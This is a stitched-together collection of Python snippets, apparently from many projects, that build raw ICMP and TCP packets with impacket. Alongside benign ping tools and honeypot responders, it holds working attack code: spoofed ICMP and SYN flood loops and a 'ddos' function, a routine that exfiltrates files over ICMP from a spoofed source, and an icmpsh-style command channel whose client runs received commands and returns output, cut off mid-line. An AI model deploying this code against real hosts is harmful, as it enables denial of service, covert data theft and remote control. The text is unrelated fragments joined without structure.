def filtered(self, packet, path, personality, **kwargs): """Function defines filtered port behavior - filtered is defined according to nmap""" callback_ipid = kwargs.get('cb_ipid', None) callback_icmpid = kwargs.get('cb_icmpid', None) # respond with ICMP error type 3 code 13 OR ignore # icmp packet reply_icmp = ImpactPacket.ICMP() reply_icmp.set_icmp_type(ImpactPacket.ICMP.ICMP_UNREACH) reply_icmp.set_icmp_code(ImpactPacket.ICMP.ICMP_UNREACH_FILTERPROHIB) reply_icmp.set_icmp_id(callback_icmpid()) # unused field reply_icmp.set_icmp_seq(0) # unused field reply_icmp.calculate_checksum() reply_icmp.auto_checksum = 1 # ip packet reply_ip = ImpactPacket.IP() reply_ip.set_ip_v(4) reply_ip.set_ip_p(1) reply_ip.set_ip_rf(False) reply_ip.set_ip_df(False) reply_ip.set_ip_mf(False) reply_ip.set_ip_src(packet.get_ip_dst()) reply_ip.set_ip_dst(packet.get_ip_src()) reply_ip.set_ip_id(callback_ipid()) reply_ip.auto_checksum = 1 reply_ip.contains(reply_icmp) return reply_ip
def flood(src, dst): # create packet ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) # Include a 156-character long payload inside the ICMP packet. icmp.contains(ImpactPacket.Data("A" * 156)) # Have the IP packet contain the ICMP packet (along with its payload). ip.contains(icmp) seq_id = 0 while 1: # Give the ICMP packet the next ID in the sequence. seq_id += 1 icmp.set_icmp_id(seq_id) # Calculate its checksum. icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # send packet s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Send it to the target host. s.sendto(ip.get_packet(), (dst, 0)) print("sent from %s of sid: %d" % (src, seq_id)) continue
def icmp_reply(self, eth_src, eth_dst, ip_src, ip_dst, i_type, i_code, ip_pkt): # TODO: we have access to the personality here """Function creates and sends back an ICMP reply Args: eth_src : ethernet source address eth_dst : ethernet destination address ip_src : ip source address ip_dst : ip destination address i_type : type of the icmp reply i_code : code of the icmp reply """ # truncate inner packet l = ip_pkt.get_ip_len() hdr = None if l > 1472: # (MTU) 1500 - (IPv4) 20 - (ICMP) 8 = 1472 hdr = ip_pkt.get_packet()[:1472] else: hdr = ip_pkt.get_packet() # icmp packet reply_icmp = ImpactPacket.ICMP() reply_icmp.set_icmp_type(i_type) reply_icmp.set_icmp_code(i_code) reply_icmp.set_icmp_id(0) reply_icmp.set_icmp_seq(0) reply_icmp.set_icmp_void(0) reply_icmp.contains(ImpactPacket.Data(hdr)) reply_icmp.calculate_checksum() reply_icmp.auto_checksum = 1 # ip packet reply_ip = ImpactPacket.IP() reply_ip.set_ip_v(4) reply_ip.set_ip_p(1) reply_ip.set_ip_rf(False) reply_ip.set_ip_df(False) reply_ip.set_ip_mf(False) reply_ip.set_ip_src(ip_src) reply_ip.set_ip_dst(ip_dst) reply_ip.set_ip_id( random.randint(0, 50000) ) # TODO: provide IP IDs according to personality, altough tracepath does not care reply_ip.contains(reply_icmp) # ethernet frame reply_eth = ImpactPacket.Ethernet() reply_eth.set_ether_type(0x800) eth_src = [int(i, 16) for i in eth_src.split(':')] eth_dst = [int(i, 16) for i in eth_dst.split(':')] reply_eth.set_ether_shost(eth_src) reply_eth.set_ether_dhost(eth_dst) reply_eth.contains(reply_ip) logger.debug('Sending reply: %s', reply_eth) # send raw frame try: self.pcapy_object.sendpacket(reply_eth.get_packet()) except pcapy.PcapError as ex: logger.exception('Exception: Cannot send reply packet: %s', ex)
def send_message(self, source_ip, dest_ip, current_socket, msg, seq_number, is_ret): #Create a new IP packet and set its source and destination IP addresses src = source_ip dst = dest_ip ip = ImpactPacket.IP() #print(src.__str__() + " to " + dst.__str__()) ip.set_ip_src(src) ip.set_ip_dst(dst) #Create a new ICMP ECHO_REQUEST packet icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) #inlude a small payload inside the ICMP packet #and have the ip packet contain the ICMP packet icmp.contains(ImpactPacket.Data(msg)) ip.contains(icmp) #give the ICMP packet some ID if is_ret: icmp.set_icmp_id(0x04) else: icmp.set_icmp_id(0x03) #set the ICMP packet checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 icmp.set_icmp_seq(seq_number) self.send_packet(current_socket, ip.get_packet(), dst)
def send_one_ping(cls, current_socket, src, dst, icmp_packet_id, payload): # print("SEND : " + src[-1] + " -> " + dst[-1] + " Payload : " + payload) #Create a new IP packet and set its source and destination IP addresses ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) #Create a new ICMP ECHO_REQUEST packet icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) #inlude a small payload inside the ICMP packet #and have the ip packet contain the ICMP packet icmp.contains(ImpactPacket.Data(payload)) ip.contains(icmp) #give the ICMP packet some ID icmp.set_icmp_id(icmp_packet_id) #set the ICMP packet checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 send_time = default_timer() # send the provided ICMP packet over a 3rd socket try: current_socket.sendto( ip.get_packet(), (dst, 1)) # Port number is irrelevant for ICMP except socket.error as e: print("# socket creation failed.") current_socket.close() return
def filtered(self, packet, path, personality, **kwargs): """Function defines filtered port behavior - filtered is defined according to nmap""" callback_ipid = kwargs.get('cb_ipid', None) # respond with ICMP error type 3 code 13 OR ignore # icmp packet reply_icmp = ImpactPacket.ICMP() reply_icmp.set_icmp_type(ImpactPacket.ICMP.ICMP_UNREACH) reply_icmp.set_icmp_code(ImpactPacket.ICMP.ICMP_UNREACH_FILTERPROHIB) reply_icmp.set_icmp_void(0) reply_icmp.set_icmp_id(0) reply_icmp.set_icmp_seq(0) hdr = None l = packet.get_ip_len() if l > 1472: # 1500 - 20 - 8 (MTU - IP - ICMP) hdr = packet.get_packet()[:1472] else: hdr = packet.get_packet() reply_icmp.contains(ImpactPacket.Data(hdr)) reply_icmp.calculate_checksum() reply_icmp.auto_checksum = 1 # ip packet reply_ip = ImpactPacket.IP() reply_ip.set_ip_v(4) reply_ip.set_ip_p(1) reply_ip.set_ip_rf(False) reply_ip.set_ip_df(False) reply_ip.set_ip_mf(False) reply_ip.set_ip_src(packet.get_ip_dst()) reply_ip.set_ip_dst(packet.get_ip_src()) reply_ip.set_ip_id(callback_ipid()) # check T ttl = 0x7f if 'T' in personality.fp_ie: try: ttl = personality.fp_ie['T'].split('-') # using minimum ttl ttl = int(ttl[0], 16) except BaseException: raise Exception('Unsupported IE:T=%s', personality.fp_ie['T']) # check TG if 'TG' in personality.fp_ie: try: ttl = int(personality.fp_ie['TG'], 16) except BaseException: raise Exception('Unsupported IE:TG=%s', personality.fp_ie['TG']) delta_ttl = ttl - path if delta_ttl < 1: logger.debug( 'Reply packet dropped: TTL reached 0 within virtual network.') return None reply_ip.set_ip_ttl(delta_ttl) reply_ip.auto_checksum = 1 reply_ip.contains(reply_icmp) return reply_ip
def emitter(self): """ The emitter method is responsible for establishing the connections or sending the packets associated with the plugin. Emitter MUST use the encoder() method to assemble payloads :return: True if successful """ try: src = self.getlocaladdr() try: dst = socket.gethostbyname(self.target) except Exception as e: dst = self.target self.logger.error('Failed to resolve target hostname for %s: %s' % (self.__class__.__name__, e)) raise e # Fetch the icmptype property as a list icmptypes = self.listproperty('icmptype') print icmptypes if not icmptypes: icmptypes = [8] # Send the payload to the encoder which returns a generator, then iterate over the chunked and encoded # payload for payload in self.encoder(self.payload): # Iterate over all of the specified types for this payload and execute the delivery for icmptype in icmptypes: ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmptype) seq_id = 0 s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) icmp.contains(ImpactPacket.Data(payload)) ip.contains(icmp) icmp.set_icmp_id(seq_id) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 s.sendto(ip.get_packet(), (self.target, 0)) seq_id += 1 except socket.error: raise except Exception: raise return True
def decode(self, aBuffer): ic = ImpactPacket.ICMP(aBuffer) self.set_decoded_protocol(ic) off = ic.get_header_size() if ic.get_icmp_type() == ImpactPacket.ICMP.ICMP_UNREACH: self.ip_decoder = IPDecoderForICMP() packet = self.ip_decoder.decode(aBuffer[off:]) else: self.data_decoder = DataDecoder() packet = self.data_decoder.decode(aBuffer[off:]) ic.contains(packet) return ic
def main(): if len(sys.argv) < 3: print("Use: %s <src ip> <dst ip>" % sys.argv[0]) print("Use: %s <src ip> <dst ip> <cnt>" % sys.argv[0]) sys.exit(1) elif len(sys.argv) == 3: src = sys.argv[1] dst = sys.argv[2] cnt = 1 elif len(sys.argv) == 4: src = sys.argv[1] dst = sys.argv[2] cnt = sys.argv[3] else: print("Input error!") sys.exit(1) # print src, dst ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) # Create a new ICMP packet of type ECHO. icmp = ImpactPacket.ICMP() tcp = ImpactPacket.TCP() tcp.set_th_sport(55968) tcp.set_th_dport(80) tcp.set_th_seq(1) tcp.set_th_ack(1) tcp.set_th_flags(0x18) tcp.set_th_win(64) tcp.contains( ImpactPacket.Data( "GET /att/DIYLife/41264/528 HTTP/1.1\r\nHost: 192.168.111.1\r\nAccept-Encoding: identity\r\n\r\n" )) ip.contains(tcp) # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) seq_id = 0 while cnt >= 1: # Calculate its checksum. seq_id = seq_id + 1 tcp.set_th_seq(seq_id) tcp.calculate_checksum() # Send it to the target host. s.sendto(ip.get_packet(), (dst, 80)) cnt = cnt - 1
def create_packet(self): # IP paket self.ip = ImpactPacket.IP() # ICMP paket self.icmp = ImpactPacket.ICMP() if self.operating_as == CLIENT: # ako smo CLIENT koristimo ECHO, inace ECHOREPLY self.icmp.set_icmp_type(self.icmp.ICMP_ECHO) else: self.icmp.set_icmp_type(self.icmp.ICMP_ECHOREPLY) self.ip.set_ip_ttl(64) # emulacija linux OS-a self.ip.set_ip_src(self.src_ip_addr) self.ip.set_ip_dst(self.dst_ip_addr)
def buildAnswer(self, in_onion): out_onion = IPResponder.buildAnswer(self, in_onion) icmp = ImpactPacket.ICMP() out_onion[O_IP].contains(icmp) out_onion.append(icmp) icmp.set_icmp_id(in_onion[O_ICMP].get_icmp_id()) icmp.set_icmp_seq(in_onion[O_ICMP].get_icmp_seq()) out_onion[O_IP].set_ip_id(self.machine.getIPID_ICMP()) return out_onion
def alive(src, dst): # Create a new IP packet and set its source and destination addresses. ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) # Create a new ICMP packet of type ECHO. icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) # Include a 156-character long payload inside the ICMP packet. icmp.contains(ImpactPacket.Data("A" * 156)) # Have the IP packet contain the ICMP packet (along with its payload). ip.contains(icmp) # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) seq_id = 0 # Give the ICMP packet the next ID in the sequence. seq_id += 1 icmp.set_icmp_id(seq_id) # Calculate its checksum. icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Send it to the target host. s.sendto(ip.get_packet(), (dst, 0)) for i in range(3): # Wait for incoming replies. if s in select.select([s], [], [], 1)[0]: reply = s.recvfrom(2000)[0] # Use ImpactDecoder to reconstruct the packet hierarchy. rip = ImpactDecoder.IPDecoder().decode(reply) # Extract the ICMP packet from its container (the IP packet). ricmp = rip.child() # If the packet matches, report it to the user. if rip.get_ip_dst() == src and rip.get_ip_src( ) == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): return True time.sleep(1) return False
def encodePacket(self, src, dst, type, code, ttl, payload): payload = ImpactPacket.Data(payload) icmpDatagram = ImpactPacket.ICMP() icmpDatagram.set_icmp_type(type) if code: icmpDatagram.set_icmp_code(code) icmpDatagram.set_icmp_lifetime(ttl) icmpDatagram.set_icmp_ttime(ttl) icmpDatagram.contains(payload) ipDatagram = ImpactPacket.IP() ipDatagram.set_ip_src(src) ipDatagram.set_ip_dst(dst) ipDatagram.contains(icmpDatagram) self.raw = ipDatagram.get_packet()
def send_one_ping(self,src,dst,current_socket,icmp_payload): ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) icmp.contains(ImpactPacket.Data(icmp_payload)) ip.contains(icmp) icmp.set_icmp_id(0x03) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 send_time = default_timer() current_socket.sendto(ip.get_packet(), (dst, 1))
def buildAnswer(self, in_onion): out_onion = IPResponder.buildAnswer(self, in_onion) icmp = ImpactPacket.ICMP() out_onion[O_IP].contains(icmp) out_onion.append(icmp) icmp.contains(in_onion[O_IP]) out_onion += in_onion[O_IP:] icmp.set_icmp_type(icmp.ICMP_UNREACH) icmp.set_icmp_code(icmp.ICMP_UNREACH_PORT) return out_onion
def handle_icmp(pcap, wire_packet, ip): icmp = ip.child() if icmp.get_icmp_type() == ImpactPacket.ICMP.ICMP_ECHO: reply = build_ethernet_reply(wire_packet, ImpactPacket.IP.ethertype) ip_reply = build_ip_reply(ip, ImpactPacket.ICMP.protocol) icmp_reply = ImpactPacket.ICMP() icmp_reply.set_icmp_type(ImpactPacket.ICMP.ICMP_ECHOREPLY) icmp_reply.set_icmp_seq(icmp.get_icmp_seq()) icmp_reply.set_icmp_id(icmp.get_icmp_id()) icmp_reply.contains(ImpactPacket.Data(icmp.get_data_as_string())) ip_reply.contains(icmp_reply) reply.contains(ip_reply) pcap_sendpacket(pcap, cast(reply.get_packet(), POINTER(u_char)), reply.get_size())
def send_one_ping(self, current_socket, data, identifier): print "-Sending an ICMP ECHO_REQUEST packet from {0} to {1}".format( self.source, self.destination) src, dst = self.source, self.destination ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) icmp.contains(ImpactPacket.Data(data)) ip.contains(icmp) icmp.set_icmp_id(identifier) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 try: current_socket.sendto(ip.get_packet(), (dst, 1)) except socket.error: current_socket.close()
def send_one_ping(self, current_socket): #Create a new IP packet and set its source and destination IP addresses # src = srcIP src = getSrcIP() print("src is %s" % (src)) dst = self.destination ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) #Create a new ICMP ECHO_REQUEST packet icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) #inlude a small payload inside the ICMP packet #and have the ip packet contain the ICMP packet # put files here icmp.contains(ImpactPacket.Data(str(requests))) ip.contains(icmp) #give the ICMP packet some ID icmp.set_icmp_id(0x03) #set the ICMP packet checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 send_time = default_timer() # send the provided ICMP packet over a 3rd socket try: current_socket.sendto( ip.get_packet(), (dst, 1)) # Port number is irrelevant for ICMP except socket.error as e: self.response.output.append("General failure (%s)" % (e.args[1])) current_socket.close() return return send_time
def SendICMP(srcIP, dstIP, sessionNr, counter): """ SendICMP sends a specially crafted ICMP packet """ # prepare the IP part ip = ImpactPacket.IP() ip.set_ip_src(srcIP) ip.set_ip_dst(dstIP) #this counter isn't used. ip.set_ip_id(counter) # prepare the ICMP part icmp = ImpactPacket.ICMP() #is used to read out uniquenumber in case of DU ICMP reply icmp.set_icmp_id(sessionNr) #is used to read out sessionnumber in case of DU ICMP reply icmp.set_icmp_seq(counter) #auto generate checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 icmp.set_icmp_type(icmp.ICMP_ECHO) # prepare the payload # put the target IP and the sequence number in the payload also for later recovery data = socket.inet_aton(dstIP) + struct.pack( 'H', socket.htons(sessionNr)) + struct.pack('H', socket.htons(counter)) # compose the total packet IP / icmp / payload icmp.contains(ImpactPacket.Data(data)) ip.contains(icmp) # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # and set it free s.sendto(ip.get_packet(), (dstIP, 0)) # return timestamp for further reference return time.time()
def ddos(src, dst): #Create a new IP packet and set its source and destination addresses ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) #Create a new ICMP packet icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) #inlude a small payload inside the ICMP packet #and have the ip packet contain the ICMP packet icmp.contains(ImpactPacket.Data("O" * 100)) ip.contains(icmp) n = 0 while (1): print("Spoofing from %s" % src) #Using Scapy to SYN flood p1 = IP(dst=target_ip, src=src) / TCP( dport=8080, sport=5000, flags='S') send(p1) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) #Using ImpactPacket to flood/spoof icmp.set_icmp_id(1) #calculate checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 0 s.sendto(ip.get_packet(), (dst, 8080)) #Regular socket connection ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ddos.connect((target_ip, port)) ddos.send("GET /%s HTTP/1.1\r\n" % message)
def send_one_ping(self, current_socket, ip_header, payload): if payload[0:6] == "finish": firstNode = randint(1, 4) while (firstNode == self.bezi): firstNode = randint(1, 4) self.source = "10.0.0." + str(firstNode) self.destination = "10.0.0." + str(self.bezi) else: firstNode = randint(1, 4) secondNode = randint(1, 4) while (secondNode == self.nodeNum or secondNode == firstNode): firstNode = randint(1, 4) secondNode = randint(1, 4) self.source = "10.0.0." + str(firstNode) self.destination = "10.0.0." + str(secondNode) print(self.source) print(self.destination) src = self.source dst = self.destination ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) icmp = ImpactPacket.ICMP() icmp.contains(ImpactPacket.Data(payload)) icmp.set_icmp_type(icmp.ICMP_ECHO) ip.contains(icmp) icmp.set_icmp_id(icmp.get_icmp_id()) #### icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 send_time = default_timer() try: current_socket.sendto(ip.get_packet(), (dst, 1)) except socket.error as e: self.response.output.append("General failure (%s)" % (e.args[1])) current_socket.close() return return send_time
def send(self, current_socket,src,dst,data,chunk_id=0): # Create a new IP packet and set its source and destination IP addresses #print("sending from " + src + " to " + dst) #print("+++++++++++++++++++++++++++++") ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) # Create a new ICMP ECHO_REQUEST packet icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) # inlude a small payload inside the ICMP packet # and have the ip packet contain the ICMP packet icmp.contains(ImpactPacket.Data(data)) ip.contains(icmp) # give the ICMP packet some ID icmp.set_icmp_id(chunk_id) # set the ICMP packet checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # send the provided ICMP packet over a 3rd socket try: current_socket.sendto(ip.get_packet(), (dst, 1)) # Port number is irrelevant for ICMP except socket.error as e: return
def job_ping(self, _config): """icmp job """ ip = self.getIP() src = ip.getIfIPv4() target = _config['target'] try: a = socket.getaddrinfo(target, None, socket.AF_INET) dst = a[0][4][0] except socket.gaierror: logging.error("cannot find servername {}".format(target)) return logging.info("probe icmp to {} {}".format(target, dst)) pkt_ip = ImpactPacket.IP() pkt_ip.set_ip_src(src) pkt_ip.set_ip_dst(dst) if _config.__contains__('tos'): tos = int(_config['tos']) pkt_ip.set_ip_tos(tos) if tos > 0: logging.info("set tos to {}".format(tos)) # Create a new ICMP packet of type ECHO. pkt_icmp = ImpactPacket.ICMP() pkt_icmp.set_icmp_type(pkt_icmp.ICMP_ECHO) # Include a payload inside the ICMP packet. size = 64 if _config.__contains__('size'): size = int(_config['size']) pkt_icmp.contains(ImpactPacket.Data("A" * size)) # Have the IP packet contain the ICMP packet (along with its payload). pkt_ip.contains(pkt_icmp) # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) seq_id = 3 if _config.__contains__('sequence'): seq_id = int(_config['sequence']) sleep_delay = 1 if _config.__contains__('sleep'): sleep_delay = int(_config['sleep']) fTimeout = 1.0 if _config.__contains__('timeout'): fTimeout = float(_config['timeout']) res_timeout = 0 res_ok = 0 avg_rtt = 0 min_rtt = 10000 max_rtt = 0 for i in range(seq_id): # Give the ICMP packet the next ID in the sequence. pkt_icmp.set_icmp_id(i) # Calculate its checksum. pkt_icmp.set_icmp_cksum(0) pkt_icmp.auto_checksum = 1 now = time.time() # Send it to the target host. s.sendto(pkt_ip.get_packet(), (dst, 0)) # Wait for incoming replies. if s in select.select([s], [], [], fTimeout)[0]: reply = s.recvfrom(2000)[0] d = time.time() - now avg_rtt += d if d < min_rtt: min_rtt = d if d > max_rtt: max_rtt = d # Use ImpactDecoder to reconstruct the packet hierarchy. rip = ImpactDecoder.IPDecoder().decode(reply) # print rip.get_ip_tos() # Extract the ICMP packet from its container (the IP packet). ricmp = rip.child() # If the packet matches, report it to the user. if rip.get_ip_dst() == src and rip.get_ip_src( ) == dst and pkt_icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type( ) and ricmp.get_icmp_id() == i: logging.debug("Ping reply for sequence #{} {:0.2f}".format( ricmp.get_icmp_id(), d * 1000)) res_ok += 1 if i + 1 <= seq_id: time.sleep(sleep_delay) else: logging.warning("timeout") res_timeout += 1 avg_rtt += fTimeout avg_rtt = (avg_rtt / seq_id) result = { "icmp-seq": seq_id, "icmp-ok": res_ok, "icmp-target": target, "icmp-targetIP": dst, "icmp-timeout": res_timeout, "icmp-avg_rtt": avg_rtt * 1000, "icmp-min_rtt": min_rtt * 1000, "icmp-max_rtt": max_rtt * 1000 } logging.info("icmp results : {}".format(result)) self.pushResult(result) if 'run_once' in _config: logging.info("run only once, exit") exit()
'You need to run icmpsh master with administrator privileges\n') exit(1) sock.setblocking(0) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Make standard input a non-blocking file #stdin_fd = sys.stdin.fileno() #setNonBlocking(stdin_fd) # Create a new IP packet and set its source and destination addresses ip = ImpactPacket.IP() ip.set_ip_dst(botIP) # Create a new ICMP packet of type ECHO REPLY icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) # Instantiate an IP packets decoder decoder = ImpactDecoder.IPDecoder() while 1: cmd = '' # Wait for incoming replies if sock in select.select([sock], [], [])[0]: buff = sock.recv(4096) if 0 == len(buff): # Socket remotely closed printLine("[*] Socket closed", flag) sock.close() sys.exit(0)
def send_file(ip_addr, src_ip_addr="127.0.0.1", file_path="", max_packetsize=512, SLEEP=0.1): """ send_file will send a file to the ip_addr given. A file path is required to send the file. Max packet size can be determined automatically. :param ip_addr: IP Address to send the file to. :param src_ip_addr: IP Address to spoof from. Default it 127.0.0.1. :param file_path: Path of the file to send. :param max_packetsize: Max packet size. Default is 512. :return: """ if file_path == "": sys.stderr.write("No file path given.\n") return -1 # Load file fh = open(file_path, READ_BINARY) iAmFile = fh.read() fh.close() # Create Raw Socket s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1) # Create IP Packet ip = ImpactPacket.IP() ip.set_ip_src(src_ip_addr) ip.set_ip_dst(ip_addr) # ICMP on top of IP icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) seq_id = 0 # Calculate File: IamDone = base64.b64encode(iAmFile) # Base64 Encode for ASCII checksum = zlib.crc32(IamDone) # Build CRC for the file # Fragmentation of DATA x = len(IamDone) / max_packetsize y = len(IamDone) % max_packetsize # Get file name from file path: head, tail = os.path.split(file_path) # Build stream initiation packet current_packet = "" current_packet += tail + DATA_SEPARATOR + str( checksum) + DATA_SEPARATOR + str(x + 2) + DATA_TERMINATOR + INIT_PACKET icmp.contains(ImpactPacket.Data(current_packet)) ip.contains(icmp) icmp.set_icmp_id(seq_id) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 s.sendto(ip.get_packet(), (ip_addr, 0)) time.sleep(SLEEP) seq_id += 1 # Iterate over the file for i in range(1, x + 2): str_send = IamDone[max_packetsize * (i - 1):max_packetsize * i] + DATA_TERMINATOR icmp.contains(ImpactPacket.Data(str_send)) ip.contains(icmp) icmp.set_icmp_id(seq_id) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 s.sendto(ip.get_packet(), (ip_addr, 0)) time.sleep(SLEEP) seq_id += 1 # Add last section str_send = IamDone[max_packetsize * i:max_packetsize * i + y] + DATA_TERMINATOR icmp.contains(ImpactPacket.Data(str_send)) ip.contains(icmp) seq_id += 1 icmp.set_icmp_id(seq_id) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 s.sendto(ip.get_packet(), (ip_addr, 0)) time.sleep(SLEEP) # Send termination package str_send = (tail + DATA_SEPARATOR + str(checksum) + DATA_SEPARATOR + str(seq_id) + DATA_TERMINATOR + END_PACKET) icmp.contains(ImpactPacket.Data(str_send)) ip.contains(icmp) seq_id += 1 icmp.set_icmp_id(seq_id) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 s.sendto(ip.get_packet(), (ip_addr, 0)) return 0
def main(src, dst): if subprocess.mswindows: sys.stderr.write('icmpsh master can only run on Posix systems\n') sys.exit(255) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: sys.stderr.write('You need to install Python Impacket library first\n') sys.exit(255) # Make standard input a non-blocking file stdin_fd = sys.stdin.fileno() setNonBlocking(stdin_fd) # Open one socket for ICMP protocol # A special option is set on the socket so that IP headers are included # with the returned data try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except socket.error: sys.stderr.write('You need to run icmpsh master with administrator privileges\n') sys.exit(1) sock.setblocking(0) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Create a new IP packet and set its source and destination addresses ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) # Create a new ICMP packet of type ECHO REPLY icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHOREPLY) # Instantiate an IP packets decoder decoder = ImpactDecoder.IPDecoder() while True: cmd = '' # Wait for incoming replies if sock in select.select([ sock ], [], [])[0]: buff = sock.recv(4096) if 0 == len(buff): # Socket remotely closed sock.close() sys.exit(0) # Packet received; decode and display it ippacket = decoder.decode(buff) icmppacket = ippacket.child() # If the packet matches, report it to the user if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): # Get identifier and sequence number ident = icmppacket.get_icmp_id() seq_id = icmppacket.get_icmp_seq() data = icmppacket.get_data_as_string() if len(data) > 0: sys.stdout.write(data) # Parse command from standard input try: cmd = sys.stdin.readline() except: pass if cmd == 'exit\n': return # Set sequence number and identifier icmp.set_icmp_id(ident) icmp.set_icmp_seq(seq_id) # Include the command as data inside the ICMP packet icmp.contains(ImpactPacket.Data(cmd)) # Calculate its checksum icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Have the IP packet contain the ICMP packet (along with its payload) ip.contains(icmp) try: # Send it to the target host sock.sendto(ip.get_packet(), (dst, 0)) except socket.error, ex: sys.stderr.write("'%s'\n" % ex) sys.stderr.flush()
import socket, sys import impacket.ImpactPacket as packet import time src = sys.argv[1] dst = sys.argv[2] ip = packet.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) icmp = packet.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) #icmp.contains(packet.Data("a"*100)) ip.contains(icmp) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) icmp.set_icmp_id(1) icmp.set_icmp_cksum(0) icmp.auto_checksum = 0 while True: s.sendto(ip.get_packet(), (dst, 0)) time.sleep(1)
def run_shell(self): print('Calling %s' % self.dst) stdin_fd = sys.stdin.fileno() self.set_blocking(stdin_fd) try: self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except Exception as err: print('Socket error: %s' % err) sys.exit(1) self.sock.setblocking(0) self.sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) cmd, cmd_out, prompt = '', '#', False ip = ImpactPacket.IP() ip.set_ip_dst(self.dst) icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) icmp.contains(ImpactPacket.Data(cmd_out)) icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 ip.contains(icmp) self.sock.sendto(ip.get_packet(), (self.dst, 0)) while 1: if self.sock in select.select([self.sock], [], [], 15)[0]: buff = self.sock.recv(4096) if 0 == len(buff): self.sock.close() sys.exit(0) ippacket = self.decoder.decode(buff) icmppacket = ippacket.child() data = icmppacket.get_data_as_string() cmd = data.strip() cmd_out = self.run_command(command=cmd) if cmd_out == "" and prompt is True: cmd_out, prompt = '#', False elif cmd_out != "": prompt = True if len(cmd_out) > self.buffer_size: chunks, chunk_size = len(cmd_out), int( len(cmd_out) / self.buffer_size) for i in range(0, chunks, chunk_size): icmp.contains( 